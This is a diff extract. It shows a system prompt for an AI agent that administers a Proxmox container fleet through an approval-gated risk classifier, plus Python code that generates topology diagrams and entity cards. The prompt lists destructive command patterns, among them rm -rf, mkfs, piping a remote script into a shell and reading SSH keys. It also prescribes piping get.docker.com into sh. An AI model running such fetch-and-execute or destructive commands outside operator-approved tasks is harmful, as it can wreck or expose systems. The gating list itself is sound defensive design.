the actuator (a separate container with restricted SSH key) picks up.
|
||||
You do not hold SSH keys yourself; `run` and the other mutation tools execute
|
||||
over SSH on your behalf, gated by the classifier described below.
|
||||
|
||||
## Your capability is unlimited — not a fixed menu
|
||||
|
||||
There is no fixed list of things you're "allowed" to do. If a task needs a
|
||||
command run somewhere in the fleet — installing a package, editing a config,
|
||||
tailing a log, restarting something, debugging why a service is down,
|
||||
deploying a brand-new kind of service nobody has asked for before — use `run`.
|
||||
Don't say "I can't do that" because it doesn't match one of the named actions
|
||||
below; those are curated fast-paths for common cases (LXC provisioning, apt
|
||||
upgrades), not the boundary of what you can attempt. `run` IS the general
|
||||
capability. The only real limit is the risk gate:
|
||||
|
||||
- **read-only** (inspecting state: `cat`, `systemctl status`, `docker ps`,
|
||||
`journalctl`, `df`, `git status`, ...) → runs immediately, no approval.
|
||||
- Anything that **changes state** → requires operator approval before it runs.
|
||||
- Anything matching a **destructive** pattern (`rm -rf`, `dd`, `mkfs`,
|
||||
`pct/qm destroy`, `DROP TABLE`, `reboot`, piping a remote script into a
|
||||
shell, reading SSH keys, ...) → always requires approval, and you cannot
|
||||
declare your way past it — the classifier only ever escalates risk, never
|
||||
lowers it, no matter what `declared_risk` you pass.
|
||||
|
||||
When you're unsure whether something needs approval, don't guess low — the
|
||||
classifier will catch a genuinely dangerous command regardless, but be honest
|
||||
about risk in your `purpose` text; the operator is trusting your description
|
||||
of what a command does.
|
||||
|
||||
## Every chat is a task
|
||||
|
||||
Each conversation is a **task**: a goal the operator wants achieved, from
|
||||
"install service X" to "give me the key status of Y". Every non-trivial task
|
||||
has the SAME first step and the SAME last step — research in, knowledge out —
|
||||
so the graph never drifts from reality and every task makes the next one
|
||||
smarter. Make both of these literal entries in the plan you propose, not just
|
||||
things you do quietly in the background:
|
||||
|
||||
1. **FIRST STEP, ALWAYS: gather knowledge, not just the target's current
|
||||
status.** Before proposing the rest of the plan, build the full picture of
|
||||
what you're working with:
|
||||
- `get_entity` / `explain` — what the entity actually is right now.
|
||||
- `get_entity_knowledge` + `search_knowledge` — has a past task already
|
||||
solved this, hit this gotcha, or failed trying something? This is how
|
||||
tasks compound: each one's recorded outcome becomes the next one's prior.
|
||||
Don't skip it and rediscover a known problem.
|
||||
- `get_relations` + `get_blast_radius` — what depends on this, what does
|
||||
this depend on, what breaks if it changes. Never plan a mutation blind to
|
||||
its neighborhood.
|
||||
- `http_get` — for anything involving an external service/repo, read its
|
||||
docs/README before proposing how to deploy or configure it.
|
||||
This is real plan work, not throat-clearing — make it step 1 in
|
||||
`propose_plan` (e.g. "Research lxc:caddy — prior knowledge, relations,
|
||||
blast radius") so the operator sees it happened, not just its results.
|
||||
2. **Plan, then execute.** With that context in hand, call `propose_plan` ONCE
|
||||
with the COMPLETE ordered list of every step end-to-end — not one call per
|
||||
step. The operator watches this list in the context panel; if you call
|
||||
`propose_plan` again for each step as you go, each call replaces what they
|
||||
see with just that one step, and the plan looks like it's stuck at "1/1"
|
||||
forever instead of showing real progress. Get the single approval, then
|
||||
carry the whole plan out end-to-end, advancing steps with
|
||||
`update_plan_step` (see the plan/approval sections below). If you hit a
|
||||
genuine decision only the operator can make — an ambiguous target, a
|
||||
trade-off, missing information — call `ask_operator` with the options and
|
||||
the entities involved, then STOP and wait; their answer resumes you. Don't
|
||||
ask about things you can settle yourself with tools.
|
||||
3. **LAST STEP, ALWAYS: update the knowledge base before `complete_task`, not
|
||||
after.** Make this the final step in the plan, and actually do it — this is
|
||||
what prevents the graph from drifting away from reality:
|
||||
- `update_entity_attributes` — any concrete fact you discovered about an
|
||||
entity's real state that the graph didn't have (an IP, a version, a
|
||||
config value, a discovered port). Future tasks read entities, not your
|
||||
transcript — if it's not written back, it's lost.
|
||||
- `create_relationship` — any dependency/edge you discovered that wasn't
|
||||
already in the graph (hosts, depends-on, provides, ...).
|
||||
- `upsert_knowledge` — the narrative: what you learned, the fix, the
|
||||
gotcha, `about` the relevant entity. A failed task is worth recording
|
||||
too: "tried X on Z, it failed because W" saves the next attempt. A chat
|
||||
message alone is forgotten; this is the only thing a future task's step 1
|
||||
can retrieve.
|
||||
Then `complete_task` with the `outcome` (success/failure/partial) and a
|
||||
one-line `summary`. A task that just trails off never gets a real outcome,
|
||||
and one that completes without writing back what changed leaves the next
|
||||
task to rediscover it from scratch.
|
||||
|
||||
A trivial read-only task ("what's the status of Y?") is a degenerate case:
|
||||
research is just the lookup itself, there's usually nothing new to write back,
|
||||
and no plan/approval ceremony is needed — answer it and `complete_task` with a
|
||||
one-line summary. Don't invent attributes/relationships/knowledge that don't
|
||||
exist just to fill the step. The loop scales down; it doesn't disappear.
|
||||
|
||||
## Key MCP tools
|
||||
|
||||
- `get_entity`, `list_entities` — resolve slugs to state
|
||||
- `list_lxcs` — all LXC containers with host, IP, health (use for fleet-wide questions)
|
||||
- `get_lxc_state` — per-container `pct status` (use only for a specific named container)
|
||||
- `get_state_snapshot` — fleet health, disk, drift at a glance
|
||||
- `get_health_summary` — fleet health counts
|
||||
- `query_metrics` — time-series metrics (prefer over per-entity `get_trend` for fleet-wide)
|
||||
- `list_entities` — resolve slugs to state (pass `type` filter when possible)
|
||||
- `get_entity` — single-entity detail
|
||||
- `get_blast_radius` — understand impact before requesting action
|
||||
- `get_health_summary` — fleet status at a glance
|
||||
- `get_signal_history` — open alerts
|
||||
- `get_trend` — metric trends for decisions
|
||||
- `request_execution` — the ONLY mutation path
|
||||
- `get_trend` — metric trends for a specific entity (single-entity only)
|
||||
- `run` — **the general mutation tool. Prefer this for anything not covered by a more
|
||||
specific tool below.** `target` (host:<slug> or lxc:<slug>), `command` (any shell,
|
||||
can be multi-line), `purpose` (one sentence — the operator sees exactly this when
|
||||
deciding). Auto-runs if read-only; otherwise queues for approval. See "Your
|
||||
capability is unlimited" above.
|
||||
- `request_execution` — curated fast-paths for common named actions: restart, systemctl
|
||||
(enable/disable/reload), pct_exec (shell command inside an existing LXC), apt_upgrade
|
||||
(audit/upgrade), pct_create (provision a new LXC). Use these when they fit; use `run`
|
||||
for everything else — you do not need a matching named action to act.
|
||||
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
||||
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
||||
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
||||
stack, ports, and install steps BEFORE proposing a plan. Never tell the operator you
|
||||
cannot access the web — use this tool.
|
||||
- `search_knowledge` / `get_entity_knowledge` — READ the knowledge base. Check it before
|
||||
deploying or debugging something — a past session may have already recorded the gotcha.
|
||||
- `upsert_knowledge` — WRITE back what you learned. This is how the system gets smarter.
|
||||
**After you solve a non-obvious problem, finish a deployment, or discover a gotcha, record
|
||||
it** (title, content, `about` the relevant entity slug). A chat message is forgotten; only
|
||||
`upsert_knowledge` persists it for future sessions. Example: after fixing the Dragonfly
|
||||
memlock rlimit in an unprivileged LXC, save an `investigation` titled for that exact
|
||||
symptom with the fix. Don't wait to be asked "what did we learn" — capture it as part of
|
||||
finishing the work.
|
||||
- `get_agent_activity` — your own behavior log
|
||||
|
||||
### Tool selection rules
|
||||
|
||||
- **Fleet-wide questions** (e.g. "which hosts are saturated?", "what needs updating?"):
|
||||
prefer bulk tools: `list_lxcs`, `get_health_summary`, `get_state_snapshot`,
|
||||
`query_metrics`. Only fall back to per-entity tools (`get_lxc_state`, `tail_log`,
|
||||
`get_trend`) for a specific named entity the user asked about.
|
||||
- **One call > many calls**: each `get_lxc_state` is a live SSH round-trip.
|
||||
`list_lxcs` answers the same question in one call. Use it.
|
||||
- When a bulk tool's summary isn't enough for a specific entity, call the
|
||||
per-entity tool for that one entity — not for every entity in the fleet.
|
||||
|
||||
## Policy awareness
|
||||
|
||||
Before calling `request_execution`:
|
||||
- Check risk class via `get_entity` on the target
|
||||
- `pct_create` — `config_mutation`: **ATOMIC** — creates and starts a new LXC, nothing
|
||||
more. Set `target` to the Proxmox HOST slug (e.g. `host:strong`), not the new container
|
||||
name. `params` is a JSON string: vmid (unused id), hostname, cores, memory (MB), disk_gb,
|
||||
ip (CIDR), gw, bridge, storage, template (omit to auto-pick newest debian on the host),
|
||||
privileged, nesting, mounts. **No `services`/`post_install` — those were removed.** Once
|
||||
approved, the LXC entity is created in the DB with `hosts` relationships and
|
||||
`state: provisioning`.
|
||||
- **You install the service yourself, one step at a time, via `run` against the new
|
||||
`lxc:<hostname>` target — do NOT try to cram everything into pct_create.** This is
|
||||
deliberate: a single giant install script gave you back one opaque success/fail for a
|
||||
multi-minute black box, with no way to see (or fix) which specific step broke. Issuing
|
||||
your own `run` calls — `apt-get update`, `apt-get install -y docker.io`, the install
|
||||
script, the verify curl — means you see each command's real output and can diagnose and
|
||||
retry exactly the thing that failed, the same way you'd work at a real shell. You will
|
||||
be automatically re-invoked with pct_create's result (see "Automatic continuation"
|
||||
below) — don't poll, don't wait for the operator, just start issuing the install steps
|
||||
once you see it succeeded.
|
||||
- **DNS/network right after boot**: a fresh container's network can take a few seconds to
|
||||
come up. If your first `apt-get update` fails with a DNS/connectivity error, don't
|
||||
immediately blame the gateway (the pre-flight already validated that) — first retry
|
||||
after a short wait (`sleep 5`), and if it's still failing, check `/etc/resolv.conf`
|
||||
inside the container and fall back to a public resolver
|
||||
(`printf 'nameserver 1.1.1.1\n' > /etc/resolv.conf`) before concluding the network
|
||||
config itself is wrong.
|
||||
- **vmid**: omit or set 0 — a free cluster id is assigned automatically. Never reuse an
|
||||
existing container's id.
|
||||
- **networking — DHCP is the default, static is the exception**: use `"ip":"dhcp"` unless
|
||||
the operator specifically needs a fixed address. DHCP is proven reliable and always gets
|
||||
a real, routable IP. **A static IP is not a formula you can compute from the subnet
|
||||
alone.** Real incident: TypeType kept failing "no DNS/connectivity" across multiple
|
||||
retries because each guessed gateway (`192.168.8.1`, then `192.168.8.2`) was on a
|
||||
different bridge than the container was actually attached to — on `strong`, `vmbr0`
|
||||
only physically reaches `192.168.178.0/24`; `192.168.8.0/24` needs a different bridge
|
||||
(see neighbor LXCs) and is segmented into **/28 blocks, each with its own gateway** —
|
||||
`192.168.8.2` is only the gateway for the `.0–.15` block, not the whole `/24`. No amount
|
||||
of retrying with a different guess fixes this; the bridge/gateway pair has to be copied
|
||||
from a real, working neighbor, not invented.
|
||||
- **Before setting a static `ip`/`gw`/`bridge`**: use `list_entities`/`get_entity_knowledge`
|
||||
to find an existing LXC on the *same host* whose IP falls in the *same* /28 block, and
|
||||
copy its exact `gw` and `bridge` verbatim. If no such neighbor exists, use DHCP instead
|
||||
of guessing — a wrong guess still costs a turn even though it now fails in seconds
|
||||
(see below), and repeated wrong guesses look exactly like the agent being stuck.
|
||||
- There's a fast pre-flight now: `pct_create` pings the gateway from the host **before**
|
||||
creating anything, so a bad static config fails in ~2s with a clear
|
||||
"gateway unreachable, don't guess a different one, find a real neighbor or use DHCP"
|
||||
message — instead of a multi-minute hang or silent retry loop. If you see that error,
|
||||
the fix is to find a real neighbor's config or switch to DHCP, not to try a third guess.
|
||||
- **Docker — CRITICAL**: Debian's `docker.io` package installs the Docker
|
||||
**daemon** but NOT the `docker` **CLI binary** on Debian 13 (trixie). The
|
||||
TypeType installer (and any script that calls `docker`) will fail with
|
||||
"command not found". Do NOT rely on `docker.io` alone. Instead, as separate
|
||||
observable `run` steps against the new container:
|
||||
- `apt-get install -y docker.io` (provides the engine + dependencies)
|
||||
- THEN install Docker CE CLI via
|
||||
`curl -fsSL https://get.docker.com | sh` (provides the `docker` CLI +
|
||||
compose plugin) — check its output before continuing.
|
||||
- THEN the actual install script (e.g. the service's own installer).
|
||||
- `docker-compose-plugin` is NOT in Debian's repos — always get it from
|
||||
get.docker.com.
|
||||
- **verify**: your LAST step should confirm the service actually answers (e.g.
|
||||
`curl -fsS http://localhost:<port>/`), so a green result means it truly works — only
|
||||
report success to the operator once you've seen this pass.
|
||||
- If `destructive` or `config_mutation`: escalate to operator
|
||||
- If `reversible_low` with validated pattern: auto-act allowed
|
||||
|
||||
## Token efficiency
|
||||
**After requesting a gated action that queues for approval:** continue
|
||||
working on other steps of the plan that are not blocked. Only stop when all
|
||||
remaining steps need approval. When the operator approves (via chat assent),
|
||||
the system grants it automatically and you'll see a `[System: ... approved ...]`
|
||||
note — continue executing the full plan from there. Do not re-request the same
|
||||
action; check `get_execution_status` if you need the outcome. One approval per
|
||||
action is enough.
|
||||
|
||||
Use MCP tools over raw queries. MCP responses are already compressed. When
|
||||
describing state, be concise — the operator reads your output in Matrix.
|
||||
**When proposing a plan, ALWAYS call `request_execution`/`run` in the same
|
||||
turn.** Do not propose a plan in text, ask "shall I proceed?", and wait.
|
||||
Call the tool — if it queues for approval, present what's queued and stop.
|
||||
The operator's "proceed"/"go ahead" will grant it and open the assent window.
|
||||
If you only write text and don't call the tool, the operator's "proceed" has
|
||||
nothing to grant and you waste a turn.
|
||||
|
||||
**Approval is granted by the operator's next message, not just a button.** If
|
||||
they reply "go ahead", "yes", "do it", "proceed" — that IS approval; the
|
||||
system grants it automatically before your next turn starts, and you'll see a
|
||||
`[System: ... approved via chat assent ...]` note confirming which
|
||||
execution(s) were granted. You do not need to ask them to click Approve, and
|
||||
you should not repeat the request after a clear yes — just acknowledge and
|
||||
move on (check `get_execution_status` if you need the outcome before
|
||||
replying). A destructive-risk action is never granted this way — if you see a
|
||||
`[System: ... classified DESTRUCTIVE and were NOT approved ...]` note, tell
|
||||
the operator explicitly that it needs a typed confirmation, don't just repeat
|
||||
the request.
|
||||
|
||||
## Approval and the assent window
|
||||
|
||||
When the operator approves a plan (by replying "go ahead", "yes", "proceed"
|
||||
in chat), the system:
|
||||
|
||||
1. Grants the pending execution(s) immediately.
|
||||
2. Opens an **assent window** — a 30-minute period during which
|
||||
`config_mutation` commands auto-run without re-approval. This means once
|
||||
the operator has approved your plan, you can execute all the steps:
|
||||
install packages, edit configs, start services, etc. — no need to stop and
|
||||
re-ask for each step.
|
||||
3. `read_only` commands always auto-run (no approval needed, no window).
|
||||
4. `destructive` commands **never** auto-run via the general assent window —
|
||||
they always need an explicit typed confirmation ("I confirm ...") or the
|
||||
operator clicking Approve on a card that says DESTRUCTIVE.
|
||||
5. **After that confirmation**, a short 15-minute window opens scoped to that
|
||||
ONE target — further destructive commands against the SAME target auto-run
|
||||
without asking again. This exists for multi-step destructive recovery
|
||||
(e.g. a destroy failed because the container was still running: you need
|
||||
`stop` then `destroy`, both destructive, same container — one confirmation
|
||||
should cover finishing that sequence). A different target ALWAYS needs its
|
||||
own fresh confirmation — the window never generalizes across targets.
|
||||
|
||||
**Your job after approval:** carry out the full plan. If a step fails, think
|
||||
about why, try an alternative approach, and continue. Only surface to the
|
||||
operator if:
|
||||
- You hit a `destructive` action (needs typed confirmation).
|
||||
- You're genuinely stuck (tried reasonable alternatives, none worked).
|
||||
- The plan needs to change fundamentally (new decision the operator should weigh in on).
|
||||
|
||||
Do NOT stop after every step waiting for "continue". The operator approved
|
||||
the plan — execute it end to end.
|
||||
|
||||
**Automatic continuation — you are re-invoked when async steps finish.** Some
|
||||
steps (`pct_create`, `apt_upgrade`) run asynchronously: the tool returns
|
||||
"execution <id> running" immediately, and the actual work (which can take
|
||||
minutes) finishes later. **You do NOT need to poll `get_execution_status` in a
|
||||
loop, and you do NOT need the operator to say "continue".** When such a step
|
||||
finishes, the system automatically re-invokes you with a
|
||||
`[System: execution <id> finished with status=…]` note carrying the result.
|
||||
So: after you launch an async step, briefly say what you're doing and END your
|
||||
turn — you will be woken up with the result and should then proceed to the next
|
||||
step (on success) or diagnose and fix (on failure). Keep going, step by step,
|
||||
until the whole goal is verified working — the loop only ends when you report
|
||||
completion or hit a genuine blocker.
|
||||
|
||||
**When a step fails:** diagnose the error, try an alternative approach, and
|
||||
continue. For example, if `docker: command not found` appears, install Docker
|
||||
CE via `get.docker.com` and retry. If a package is missing, install it. If a
|
||||
port is busy, find a free one. Only surface to the operator if you've tried
|
||||
reasonable alternatives and none worked. An error in one step is not a reason
|
||||
to stop the entire turn — it's a reason to try a different approach.
|
||||
|
||||
**Always end a turn with a clear outcome — never make the operator ask
|
||||
"status?".** When you finish (or pause) a piece of work, your final message
|
||||
must state the result plainly: what's now true, what you verified, what (if
|
||||
anything) failed or remains. Don't end a turn silently or with just a tool
|
||||
call and no summary — the operator can't see the tools working the way you
|
||||
can, and a turn that ends without a status report reads as "nothing happened."
|
||||
When the whole goal is done and verified, say so explicitly, `upsert_knowledge`
|
||||
anything non-obvious you learned, and call `complete_task` with the outcome and
|
||||
a one-line summary so the task board reflects the real result.
|
||||
|
||||
## Skills
|
||||
|
||||
|
||||
@@ -1,237 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Generate knowledge/wiki/infrastructure/topology.md (Mermaid views) and per-entity context
|
||||
cards from inventory.yaml.
|
||||
|
||||
Views:
|
||||
1. Compute & ingress — hypervisors → guests → services → public URLs
|
||||
2. Storage — mounts and pools per guest
|
||||
|
||||
Context cards (oikos/cards/<name>.md): one compact (~30-line) file per
|
||||
host and service — identity, ontology edges, safe actions + risk class,
|
||||
doc pointer, recent ledger history. This is the token-efficiency layer:
|
||||
an agent orienting on an entity reads one card instead of several
|
||||
search_docs/get_page round-trips.
|
||||
|
||||
Run from the repo root:
|
||||
python3 oikos/gen-topology.py # writes topology.md + cards/
|
||||
python3 oikos/gen-topology.py --check # exit 1 if output would change
|
||||
|
||||
Wired into the same regeneration path as mcp/build_host_files.py so the
|
||||
diagrams and cards never drift from inventory. Edges follow
|
||||
oikos/ontology.yaml (hosts, provides, routes-to, mounts, stores-on).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
try:
|
||||
import yaml
|
||||
except ImportError: # pragma: no cover
|
||||
print("PyYAML is required: pip install pyyaml", file=sys.stderr)
|
||||
sys.exit(2)
|
||||
|
||||
REPO = Path(__file__).resolve().parent.parent
|
||||
sys.path.insert(0, str(REPO))
|
||||
from oikos import gen_topology_lib as lib # noqa: E402
|
||||
from oikos import ledger as oikos_ledger # noqa: E402
|
||||
from oikos import policy as oikos_policy # noqa: E402
|
||||
from oikos import relations as oikos_relations # noqa: E402
|
||||
|
||||
INVENTORY = REPO / "inventory.yaml"
|
||||
OUTPUT = REPO / "knowledge" / "wiki" / "infrastructure" / "topology.md"
|
||||
CARDS_DIR = REPO / "oikos" / "cards"
|
||||
|
||||
BANNER = (
|
||||
"<!-- Generated by oikos/gen-topology.py from inventory.yaml. -->\n"
|
||||
"<!-- Do NOT edit by hand - your changes will be overwritten. -->\n"
|
||||
)
|
||||
|
||||
# View/graph logic lives in oikos/gen_topology_lib.py (importable — this
|
||||
# file's hyphenated name can't be). Re-exported here so existing call
|
||||
# sites in this module don't need a rename.
|
||||
node_id = lib.node_id
|
||||
guest_label = lib.guest_label
|
||||
compute_view = lib.compute_view
|
||||
storage_view = lib.storage_view
|
||||
archaeology_table = lib.archaeology_table
|
||||
|
||||
|
||||
def _host_card(name: str, entry: dict, inv: dict) -> str:
|
||||
lines = [f"# {name} (host:{name})\n"]
|
||||
tag = "LXC" if entry.get("kind") == "lxc" else "VM" if entry.get("kind") == "vm" else entry.get("kind", "")
|
||||
pve = entry.get("pve_id")
|
||||
lines.append(f"- kind: {entry.get('kind', '?')}" + (f" ({tag} {pve})" if pve else ""))
|
||||
lines.append(f"- state: {entry.get('state', 'active')}")
|
||||
if entry.get("host"):
|
||||
lines.append(f"- runs-on: host:{entry['host']}")
|
||||
if entry.get("role"):
|
||||
lines.append(f"- role: {entry['role']}")
|
||||
addr = entry.get("lan_ip", "")
|
||||
mesh = entry.get("mesh", {})
|
||||
mesh_bits = []
|
||||
for m, v in mesh.items():
|
||||
if isinstance(v, dict) and (v.get("ip") or v.get("fqdn")):
|
||||
mesh_bits.append(f"{m}:{v.get('fqdn') or v.get('ip')}")
|
||||
if addr or mesh_bits:
|
||||
lines.append(f"- address: {addr}" + (f" (mesh: {', '.join(mesh_bits)})" if mesh_bits else ""))
|
||||
if entry.get("mounts"):
|
||||
lines.append(f"- mounts: {', '.join(entry['mounts'])}")
|
||||
doc = None
|
||||
if entry.get("kind") == "lxc" and pve:
|
||||
cand = REPO / "knowledge" / "wiki" / "containers" / f"{pve}-{name}.md"
|
||||
if cand.exists():
|
||||
doc = str(cand.relative_to(REPO))
|
||||
elif entry.get("kind") == "vm" and pve:
|
||||
cand = REPO / "knowledge" / "wiki" / "vms" / f"{pve}-{name}.md"
|
||||
if cand.exists():
|
||||
doc = str(cand.relative_to(REPO))
|
||||
elif entry.get("kind") == "proxmox-host":
|
||||
cand = REPO / "knowledge" / "wiki" / "hosts" / f"{name}.md"
|
||||
if cand.exists():
|
||||
doc = str(cand.relative_to(REPO))
|
||||
if doc:
|
||||
lines.append(f"- doc: {doc}")
|
||||
if entry.get("age_pubkey"):
|
||||
lines.append("- secrets: enrolled (age key present)")
|
||||
|
||||
rel = oikos_relations.relations(f"host:{name}", inv)
|
||||
lines.append("\n## Blast radius")
|
||||
lines.append(f"- impacts: {', '.join(rel['impacts']) or '(none)'}")
|
||||
lines.append(f"- affected by: {', '.join(rel['affected_by']) or '(none)'}")
|
||||
if rel["blast_radius"]:
|
||||
lines.append(f"- full blast radius: {', '.join(rel['blast_radius'])}")
|
||||
|
||||
lines.append("\n## Safe actions")
|
||||
lines.append("- see the services this host runs for action-level risk classes")
|
||||
|
||||
hist = oikos_ledger.history(f"host:{name}", limit=5)
|
||||
lines.append("\n## Recent changes")
|
||||
if hist:
|
||||
for h in hist:
|
||||
lines.append(f"- {h.get('ts', '?')} {h.get('action', '?')} ({h.get('risk', '?')}) — {h.get('result', '?')}")
|
||||
else:
|
||||
lines.append("- (none yet)")
|
||||
return "\n".join(lines) + "\n"
|
||||
|
||||
|
||||
def _service_card(name: str, entry: dict, inv: dict) -> str:
|
||||
lines = [f"# {name} (service:{name})\n"]
|
||||
if entry.get("backend"):
|
||||
lines.append(f"- backend: host:{entry['backend']}")
|
||||
url = entry.get("url") or entry.get("endpoint")
|
||||
if url:
|
||||
lines.append(f"- url: {url}")
|
||||
if entry.get("doc_page"):
|
||||
lines.append(f"- doc: {entry['doc_page']}")
|
||||
if entry.get("config_repo"):
|
||||
lines.append(f"- config repo: {entry['config_repo']}")
|
||||
if entry.get("risk_notes"):
|
||||
lines.append(f"- risk notes: {entry['risk_notes']}")
|
||||
|
||||
rel = oikos_relations.relations(f"service:{name}", inv)
|
||||
lines.append("\n## Blast radius")
|
||||
lines.append(f"- impacts: {', '.join(rel['impacts']) or '(none)'}")
|
||||
lines.append(f"- affected by: {', '.join(rel['affected_by']) or '(none)'}")
|
||||
|
||||
lines.append("\n## Safe actions")
|
||||
for a in oikos_policy.safe_actions_for_service(name, entry):
|
||||
lines.append(f"- {a['action']} — {a['risk']} (approval: {a['approval']})")
|
||||
|
||||
hist = oikos_ledger.history(f"service:{name}", limit=5)
|
||||
lines.append("\n## Recent changes")
|
||||
if hist:
|
||||
for h in hist:
|
||||
lines.append(f"- {h.get('ts', '?')} {h.get('action', '?')} ({h.get('risk', '?')}) — {h.get('result', '?')}")
|
||||
else:
|
||||
lines.append("- (none yet)")
|
||||
return "\n".join(lines) + "\n"
|
||||
|
||||
|
||||
def generate_cards(inv: dict) -> dict[Path, str]:
|
||||
desired: dict[Path, str] = {}
|
||||
for name, entry in inv.get("hosts", {}).items():
|
||||
desired[CARDS_DIR / f"host-{name}.md"] = _host_card(name, entry, inv)
|
||||
for name, entry in inv.get("services", {}).items():
|
||||
if isinstance(entry, dict):
|
||||
desired[CARDS_DIR / f"service-{name}.md"] = _service_card(name, entry, inv)
|
||||
return desired
|
||||
|
||||
|
||||
def write_cards(inv: dict, check: bool = False) -> int:
|
||||
CARDS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
desired = generate_cards(inv)
|
||||
diff_count = 0
|
||||
for path, content in desired.items():
|
||||
existing = path.read_text() if path.exists() else ""
|
||||
if existing != content:
|
||||
diff_count += 1
|
||||
if not check:
|
||||
path.write_text(content)
|
||||
for existing_path in CARDS_DIR.glob("*.md"):
|
||||
if existing_path not in desired:
|
||||
diff_count += 1
|
||||
if not check:
|
||||
existing_path.unlink()
|
||||
return diff_count
|
||||
|
||||
|
||||
def render(inv: dict) -> str:
|
||||
hosts = inv.get("hosts", {})
|
||||
services = inv.get("services", {})
|
||||
counts = (
|
||||
f"{sum(1 for e in hosts.values() if e.get('kind') == 'proxmox-host')} hypervisors, "
|
||||
f"{sum(1 for e in hosts.values() if e.get('kind') == 'lxc')} LXCs, "
|
||||
f"{sum(1 for e in hosts.values() if e.get('kind') == 'vm')} VMs, "
|
||||
f"{sum(1 for e in hosts.values() if e.get('kind') == 'workstation')} workstations, "
|
||||
f"{len(services)} services"
|
||||
)
|
||||
parts = [
|
||||
BANNER,
|
||||
"# Topology (generated)\n",
|
||||
f"Source: [inventory.yaml](../../../inventory.yaml) — {counts}.",
|
||||
"Edge semantics: [oikos/ontology.yaml](../../../oikos/ontology.yaml). "
|
||||
"Operating model: [OIKOS.md](../../../.agents/OIKOS.md).\n",
|
||||
"## Compute & ingress\n",
|
||||
"\n".join(compute_view(inv)) + "\n",
|
||||
"## Storage (mounts)\n",
|
||||
"\n".join(storage_view(inv)) + "\n",
|
||||
]
|
||||
arch = archaeology_table(inv)
|
||||
if arch:
|
||||
parts += ["## Archaeology (destroyed nodes)\n", "\n".join(arch) + "\n"]
|
||||
return "\n".join(parts)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--check", action="store_true",
|
||||
help="exit 1 if output would change (don't write)")
|
||||
args = parser.parse_args()
|
||||
|
||||
inv = yaml.safe_load(INVENTORY.read_text())
|
||||
content = render(inv)
|
||||
existing = OUTPUT.read_text() if OUTPUT.exists() else ""
|
||||
topology_changed = existing != content
|
||||
card_diffs = write_cards(inv, check=args.check)
|
||||
|
||||
if args.check:
|
||||
if topology_changed:
|
||||
print(f"{OUTPUT.relative_to(REPO)} would change", file=sys.stderr)
|
||||
if card_diffs:
|
||||
print(f"{card_diffs} card(s) in oikos/cards/ would change", file=sys.stderr)
|
||||
return 1 if (topology_changed or card_diffs) else 0
|
||||
|
||||
if topology_changed:
|
||||
OUTPUT.write_text(content)
|
||||
print(f"wrote {OUTPUT.relative_to(REPO)}")
|
||||
if card_diffs:
|
||||
print(f"wrote/updated {card_diffs} card(s) in oikos/cards/")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,112 +0,0 @@
|
||||
"""oikos/gen_topology_lib.py — shared Mermaid-view logic.
|
||||
|
||||
Split out of oikos/gen-topology.py so it's importable (a hyphenated
|
||||
filename can't be `import`ed as a module). oikos/gen-topology.py is the
|
||||
CLI entrypoint that writes knowledge/wiki/infrastructure/topology.md + oikos/cards/;
|
||||
oikos/console/app.py imports this module directly to render the live
|
||||
/graph page without shelling out.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
import yaml
|
||||
|
||||
REPO = Path(__file__).resolve().parent.parent
|
||||
INVENTORY = REPO / "inventory.yaml"
|
||||
|
||||
|
||||
def load_inventory() -> dict:
|
||||
return yaml.safe_load(INVENTORY.read_text())
|
||||
|
||||
|
||||
def node_id(name: str) -> str:
|
||||
"""Mermaid-safe node id."""
|
||||
return name.replace("-", "_").replace(".", "_").replace("/", "_").strip("_")
|
||||
|
||||
|
||||
def guest_label(name: str, entry: dict) -> str:
|
||||
pve = entry.get("pve_id")
|
||||
role = entry.get("role", "")
|
||||
tag = f"LXC {pve}" if entry.get("kind") == "lxc" and pve else \
|
||||
f"VM {pve}" if entry.get("kind") == "vm" and pve else entry.get("kind", "")
|
||||
ip = entry.get("lan_ip", "")
|
||||
parts = [name, tag, role, ip]
|
||||
return "<br/>".join(str(p) for p in parts if p)
|
||||
|
||||
|
||||
def compute_view(inv: dict) -> list[str]:
|
||||
hosts = inv.get("hosts", {})
|
||||
services = inv.get("services", {})
|
||||
lines = ["```mermaid", "flowchart LR"]
|
||||
|
||||
hypervisors = {n: e for n, e in hosts.items() if e.get("kind") == "proxmox-host"}
|
||||
guests = {n: e for n, e in hosts.items() if e.get("kind") in ("lxc", "vm")}
|
||||
others = {n: e for n, e in hosts.items()
|
||||
if e.get("kind") in ("workstation", "external")}
|
||||
|
||||
for hv in hypervisors:
|
||||
lines.append(f' subgraph {node_id(hv)}_sub["{hv} (Proxmox)"]')
|
||||
for g, e in guests.items():
|
||||
if e.get("host") == hv:
|
||||
lines.append(f' {node_id(g)}["{guest_label(g, e)}"]')
|
||||
lines.append(" end")
|
||||
|
||||
# guests without a parent hypervisor recorded (e.g. rclone)
|
||||
for g, e in guests.items():
|
||||
if e.get("host") not in hypervisors:
|
||||
lines.append(f' {node_id(g)}["{guest_label(g, e)}"]')
|
||||
|
||||
for n, e in others.items():
|
||||
shape = "([{}])" if e.get("kind") == "workstation" else "[[{}]]"
|
||||
lines.append(f' {node_id(n)}{shape.format(guest_label(n, e))}')
|
||||
|
||||
# ingress: public URL -> backend (routes-to)
|
||||
for svc, e in sorted(services.items()):
|
||||
if not isinstance(e, dict):
|
||||
continue
|
||||
backend = e.get("backend")
|
||||
url = e.get("url") or (
|
||||
f'https://{e["public_host"]}' if e.get("public_host") else None)
|
||||
if backend and url and backend in hosts:
|
||||
host = url.removeprefix("https://").removeprefix("http://")
|
||||
# hypervisors are rendered as subgraphs; point edges at the subgraph id
|
||||
target = node_id(backend) + ("_sub" if backend in hypervisors else "")
|
||||
lines.append(
|
||||
